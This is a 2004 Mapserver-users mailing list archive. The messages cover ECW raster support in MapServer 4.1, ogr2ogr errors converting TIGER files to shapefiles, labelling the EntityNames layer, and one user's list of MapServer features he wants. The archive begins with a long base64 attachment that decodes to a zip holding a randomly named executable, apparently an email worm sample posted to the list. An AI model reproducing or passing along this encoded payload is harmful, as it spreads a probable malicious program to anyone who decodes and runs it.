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 AIlFAAAAAA== ----------eqmnjbghpntsjkkkaorc-- From mservin at tecnoaccion.com.ar Mon Mar 1 04:34:50 2004 From: mservin at tecnoaccion.com.ar (Mario Servin) Date: Mon, 1 Mar 2004 09:34:50 -0300 Subject: [Mapserver-users] Can binary release of MapServer 4.0 for Windows able to manage ECW raster files? References: <058101c3fcb5$9b309b80$7205a8c0@mariolaptop> <403E7574.2030004@dmsolutions.ca> Message-ID: <00b901c3ff89$9e1b2f50$7205a8c0@mariolaptop> Dear Yewondwossen, Thanks for your answer. I follow your suggestion and could successfully display ECW files .After my experience I must set some points about MapServer and ECW files: 1- It's official: binary release of MapServer version 4.0 DOES NOT SUPPORT ECW input files. You are absolutely right, I downloaded version 4.1 from the site you suggest me and I could display my ECW input files. 2- I was not without some additional effort. : ECW input files DO NOT USE ANY WORLD FILE. So, if you (as I had) use ECW files not themselves georeferenced you will be in troubles, the file is displayed but not in the right place you want. Fortunately there is a free tool from ErMapper (ECW Header Editor http://www.ermapper.com/download_new/download_view.aspx?PRODUCT_VERSION_ID=192) for modifying the header of an ECW file. With this tool we can make the file a self georeferenced ECW file and then it is possible to use it as other raster input files. Again thanks a lot and regards, Mario ----- Original Message ----- From: "Yewondwossen Assefa" To: "Mario Servin" Cc: Sent: Thursday, February 26, 2004 7:38 PM Subject: Re: [Mapserver-users] Can binary release of MapServer 4.0 for Windows able to manage ECW raster files? You can download the latest version 4.1-dev that includes support for ECW at http://www.maptools.org/php_mapscript/index.phtml?page=downloads.html. I have just tried it and was able to display ECW test files. Best Regards, Mario Servin wrote: > Hi everybody. I am using MapServer 4.0 and was able to manage shape and > gif input formats. I failed to generate a layer with a ECW input file. More > surprisingly I got no error. I just get a blank image!!!. I downloaded > MapServer 4.0 binary realase but still i am not sure if it is prepared for > managing this input format as the documentation I found did not refer to > this version. If it (as I guess) can not manage ECW files, can anybody poitn > me to a binary version for Windows that can? Thanks in advance. > By the way here's my .map file, still it is possible I am missing something: > # > # Start of map file > # > NAME DEMO > STATUS ON > SIZE 600 600 > EXTENT 160597.5 6402017.5 500004 6682201 > UNITS METERS > SHAPEPATH "Bariloche" > IMAGECOLOR 255 255 255 > > # you may need to change this to match your MapServer build > IMAGETYPE GIF > > # > # Start of web interface definition (including WMS enabling metadata) > # > WEB > HEADER demo_header.html > TEMPLATE demo.html > FOOTER demo_footer.html > MINSCALE 1 > MAXSCALE 16000000000 > IMAGEPATH "set in demo_init.html" > IMAGEURL "set in demo_init.html" > METADATA > WMS_TITLE "UMN MapServer Itasca Demo" > WMS_ABSTRACT "This is the UMN MapServer demonstration application for > Itasca County located in north central Minnesota." > WMS_ACCESSCONSTRAINTS none > > # change this value to match your setup > WMS_ONLINERESOURCE "http://mariolaptop/MyPages/itasca/demo_init.html" > > WMS_SRS "EPSG:26915" > END > END > > # > # Start of legend > # > LEGEND > KEYSIZE 18 12 > LABEL > TYPE BITMAP > SIZE MEDIUM > COLOR 0 0 89 > END > STATUS ON > END > > # > # Start of scalebar > # > SCALEBAR > IMAGECOLOR 0 0 0 > LABEL > COLOR 255 255 255 > SIZE MEDIUM > END > STYLE 1 > SIZE 300 10 > COLOR 255 255 255 > UNITS KILOMETERS > INTERVALS 5 > TRANSPARENT TRUE > STATUS TRUE > END > > # > # Start of symbol definitions (we're only using a few) > # > SYMBOL > NAME 'circle' > TYPE ELLIPSE > POINTS 1 1 END > FILLED TRUE > END > > #Satelital > LAYER > NAME "S21301" > DATA S21301.ecw > TYPE RASTER > STATUS DEFAULT > END > > > END > > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- ---------------------------------------------------------------- Assefa Yewondwossen Software Analyst Email: assefa at dmsolutions.ca http://www.dmsolutions.ca/ Phone: (613) 565-5056 (ext 14) Fax: (613) 565-0925 ---------------------------------------------------------------- From dharanibabus at hotmail.com Mon Mar 1 04:48:51 2004 From: dharanibabus at hotmail.com (Dharani Babu) Date: Mon, 01 Mar 2004 18:18:51 +0530 Subject: [Mapserver-users] Error in TIGER to shp conversion !!!! Message-ID: Daniel Thanks for that . ur replies are helping me progress I tried this way ogr2ogr -f -skipfailures "ESRI Shapefiles" "d:/maps/OpenEV/bin/shp" "c:/ms4w/apache/htdocs/data/rm" Then I got the following error "Unable to open data source "d:/maps/OpenEV/bin/shp" with following drivers " Then I removed the -skipfailures option and it said "error on translating landmarks " " Attempt to translate non geometrical features " ...this is the same error I faced already . I think i am missing the way I have to use the -skipfailures option . So now I tried to translate all the layers one by one So I tried this way ogr2ogr -f -skipfailures "ESRI Shapefiles" "d:/maps/OpenEV/bin/shp" "c:/ms4w/apache/htdocs/data/rm" CompleteChain ogr2ogr -f -skipfailures "ESRI Shapefiles" "d:/maps/OpenEV/bin/shp" "c:/ms4w/apache/htdocs/data/rm" AltNames ogr2ogr -f -skipfailures "ESRI Shapefiles" "d:/maps/OpenEV/bin/shp" "c:/ms4w/apache/htdocs/data/rm" FeatureIds ogr2ogr -f -skipfailures "ESRI Shapefiles" "d:/maps/OpenEV/bin/shp" "c:/ms4w/apache/htdocs/data/rm" ZipCodes ogr2ogr -f -skipfailures "ESRI Shapefiles" "d:/maps/OpenEV/bin/shp" "c:/ms4w/apache/htdocs/data/rm" Polygon ogr2ogr -f -skipfailures "ESRI Shapefiles" "d:/maps/OpenEV/bin/shp" "c:/ms4w/apache/htdocs/data/rm" IDHistory etc But I got the same errors when I tried to translate the following ogr2ogr -f -skipfailures "ESRI Shapefiles" "d:/maps/OpenEV/bin/shp" "c:/ms4w/apache/htdocs/data/rm" landmarks ogr2ogr -f -skipfailures "ESRI Shapefiles" "d:/maps/OpenEV/bin/shp" "c:/ms4w/apache/htdocs/data/rm" EntityNames Whats wrong with the Landmarks , EntityNames layers ? I also understand that the features with geometry ( Point ...line ) have *.shp files and the features without geometry have no .shp files at all . so I also understood the features with geo metry only can be added as MAP file LAYERS right ? or am I missing something ? Please correct me . help me why I am facing this error ...could u please show me any sample MAP Files that have used TIGER translated Shape files for rendering with template html ? with regards and thanks in advance dharani >From: Daniel Morissette >To: Dharani Babu >CC: mapserver-users at lists.gis.umn.edu >Subject: Re: [Mapserver-users] Error in TIGER to shp conversion !!!! >Date: Fri, 27 Feb 2004 10:06:49 -0500 > >Dharani Babu wrote: >> >>here shp is the folder I want the translated shape files to be in . But I >>got the errors >> >>Error 6: Can't Create fields of type IntegerList on shapefil layers >>Error 1 : Attempt to write feature without geometry not supported for >>shapefile driver >>Error 1 : terminating translation prematurely after failed translation of >>layer Landmarks >>I checked the /shp folder and found that the following files are in .. > >Did you try using the -skipfailures option? With that option, if ogr2ogr >encounters a feature that the target format won't accept, then it just >skips it and moves on to the next instead of producing a fatal error. > >Note that you may have to check the TIGER docs to find out which layers >contain the data that you really need and just concentrate on them. > >Daniel >-- >------------------------------------------------------------ > Daniel Morissette dmorissette at dmsolutions.ca > DM Solutions Group http://www.dmsolutions.ca/ >------------------------------------------------------------ > _________________________________________________________________ Masterpieces made affordable! Buy art prints. http://go.msnserver.com/IN/42736.asp MSN Shopping. From dharanibabus at hotmail.com Mon Mar 1 05:08:23 2004 From: dharanibabus at hotmail.com (Dharani Babu) Date: Mon, 01 Mar 2004 18:38:23 +0530 Subject: [Mapserver-users] EntityNames Layer !! Message-ID: Hi all , I have a specific problem in rendering the Entity names of TIGER based maps. I directly render the TIGER files ( credit Tyler Mitchell) using CONNECTIONTYPE OGR in MAP file but I am short of knowledge over the way I can render the "names of the cities ,,landmarks etc " Using ogrinfo I am able to list the Layers available in the TIGER files .. I hope the "EntityNames" layer is the one that contains the names ( or is it labels ?) of locations right ? This is the LAYER definition I use with MAP file LAYER GROUP tigerdata NAME tiger1 TYPE LINE STATUS DEFAULT CONNECTIONTYPE OGR CONNECTION "C:/ms4w/apache/htdocs/demof/data/rm" DATA "CompleteChain" CLASS SYMBOL "circle" SIZE 1 COLOR 200 0 0 END END LAYER GROUP tigerdata NAME tiger5 TYPE POINT STATUS DEFAULT CONNECTIONTYPE OGR CONNECTION "C:/ms4w/apache/htdocs/demof/data/rm" DATA "Landmarks" CLASS SYMBOL "circle" SIZE 4 COLOR 0 200 0 END END LAYER GROUP tigerdata NAME tiger9 TYPE POINT <------------- may be error here also STATUS DEFAULT CONNECTIONTYPE OGR CONNECTION "C:/ms4w/apache/htdocs/demof/data/rm" DATA "EntityNames" CLASS SYMBOL "circle" <------------- definetely error here SIZE 1 COLOR 0 0 200 END END Now I am able to render the "CompleteChain " and "Landmarks " thats ok . The map comes clean . but here at the Last LAYER I am adding "EntityNames " but I am not able to check weather its correct or not to mention SYMBOL "circle" for this LAYER .And I am not getting any names displayed on map also . Hope some of u could advise me on this...... With regards and thanks in advance dharani _________________________________________________________________ Oscar fever is on! It's Hollywood's biggest party. http://server1.msn.co.in/sp04/oscars/index.asp Get all the dope here. From Darren.Cope at statcan.ca Mon Mar 1 05:56:31 2004 From: Darren.Cope at statcan.ca (Darren.Cope at statcan.ca) Date: Mon, 1 Mar 2004 08:56:31 -0500 Subject: [Mapserver-users] Researching the Capabilities of MapServer Message-ID: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C3FF94.FFE656B3 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello all, I am new to the world of MapServer, and have many questions, mostly regarding the capabilities of MapServer. At this point I am merely researching the possibility of using MapServer as a replacement for an existing ArcIMS setup. I have set up the basic Itasca demo, and have = it (mostly) working with some of our own data. From what I have seen, = basic .cgi MapServer is not able to perform many of the tasks necessary (see below). However, I am beginning to learn of the other available = projects (e.g. GeoServer, MapScript, etc.) that work with MapServer to do many = of these things. At this point, I have not used any of these other tools, = and no next to nothing about them (the MapServer that I have set up = currently allows only the basic .cgi functionality [pan, zoom, query] of the = Itasca Demo.) I would like to know if the features listed below are possible, = and if so, how I would go about implementing these features (e.g. do I need = PHP, dhtml, GeoServer, MapScript, etc., etc.) What I would like is a full featured application which can perform the following tasks: - search based on text field(s) and then zoom to matching record(s) (e.g. enter a city name and a street name, and zoom to that street) - geocode addresses (e.g. interpolate positions along a street based on from/to address ranges and zoom to that point) - search based on topology (e.g. find where two streets intersect and zoom to that location) - have an "identify" tool which pops up attributes of feature(s) when they are clicked on - measure distance between points selected by the user - draw buffers around a clicked point based on a user defined radius - highlight a selected feature and retain its highlighting until the user "clears" it Also, I would appreciate a brief run-down of the applications which = work with MapServer (e.g. GeoServer, MapScript, etc.), how they relate to MapServer (and each other), and what each one does. I realize this email covers a broad range of topics, and is asking a = lot--so thanks in advance for helping me out with all these questions! Darren Cope Statistics Canada/Statistique Canada Geography Division/Division de la g=E9ographie Jean Talon 3D5 Ottawa, Canada (613) 951-6461 ------_=_NextPart_001_01C3FF94.FFE656B3 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Researching the Capabilities of MapServer

Hello all,

I am new to the world of MapServer, = and have many questions, mostly regarding the capabilities of = MapServer.  At this point I am merely researching the possibility = of using MapServer as a replacement for an existing ArcIMS setup.  = I have set up the basic Itasca demo, and have it (mostly) working with = some of our own data.  From what I have seen, basic .cgi MapServer = is not able to perform many of the tasks necessary (see below).  = However, I am beginning to learn of the other available projects (e.g. = GeoServer, MapScript, etc.) that work with MapServer to do many of = these things.  At this point, I have not used any of these other = tools, and no next to nothing about them (the MapServer that I have set = up currently allows only the basic .cgi functionality [pan, zoom, = query] of the Itasca Demo.)  I would like to know if the features = listed below are possible, and if so, how I would go about implementing = these features (e.g. do I need PHP, dhtml, GeoServer, MapScript, etc., = etc.)

What I would like is a full featured = application which can perform the following tasks:

    -       = search based on text field(s) and then zoom to matching record(s)  = (e.g. enter a city name and a street name, and zoom to that = street)

    -       = geocode addresses (e.g. interpolate positions along a street based on = from/to address ranges and zoom to that point)

    -       = search based on topology (e.g. find where two streets intersect and = zoom to that location)
    -       have an = "identify" tool which pops up attributes of feature(s) when = they are clicked on
    -       measure distance between = points selected by the user
    -       draw buffers around a = clicked point based on a user defined radius
    -       highlight a selected = feature and retain its highlighting until the user "clears" = it

Also, I would appreciate a brief = run-down of the applications which work with MapServer (e.g. GeoServer, = MapScript, etc.), how they relate to MapServer (and each other), and = what each one does.

I realize this email covers a broad = range of topics, and is asking a lot--so thanks in advance for helping = me out with all these questions!

Darren Cope
Statistics Canada/Statistique = Canada
Geography Division/Division de = la g=E9ographie
Jean Talon 3D5
Ottawa, Canada
(613) 951-6461

